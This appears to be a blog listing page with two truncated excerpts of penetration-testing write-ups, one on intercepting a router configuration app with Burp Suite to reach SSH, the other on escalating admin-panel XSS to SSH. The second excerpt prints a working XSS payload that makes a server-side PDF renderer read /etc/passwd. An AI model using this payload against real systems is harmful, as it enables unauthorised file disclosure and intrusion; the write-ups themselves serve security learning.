Pentest router Apk and get ssh access over host

out of the b0x 😉   downloaded a router online config apk , run it on LD Player and activated burp suite . checking the request :     sent it to repeater and  ..…

Pentest XSS Attack To SSH

Situation :  Admin Panel infected with xss and uploading any file converted to pdf.   P0c from (https://www.noob.ninja/2017/11/local-file-read-via-xss-in-dynamically.html): <script> x=new XMLHttpRequest; x.onload=function() { document.write(this.responseText) }; x.open("GET","file:///etc/passwd"); x.send(); </script>   Explaining it in images: Next Download…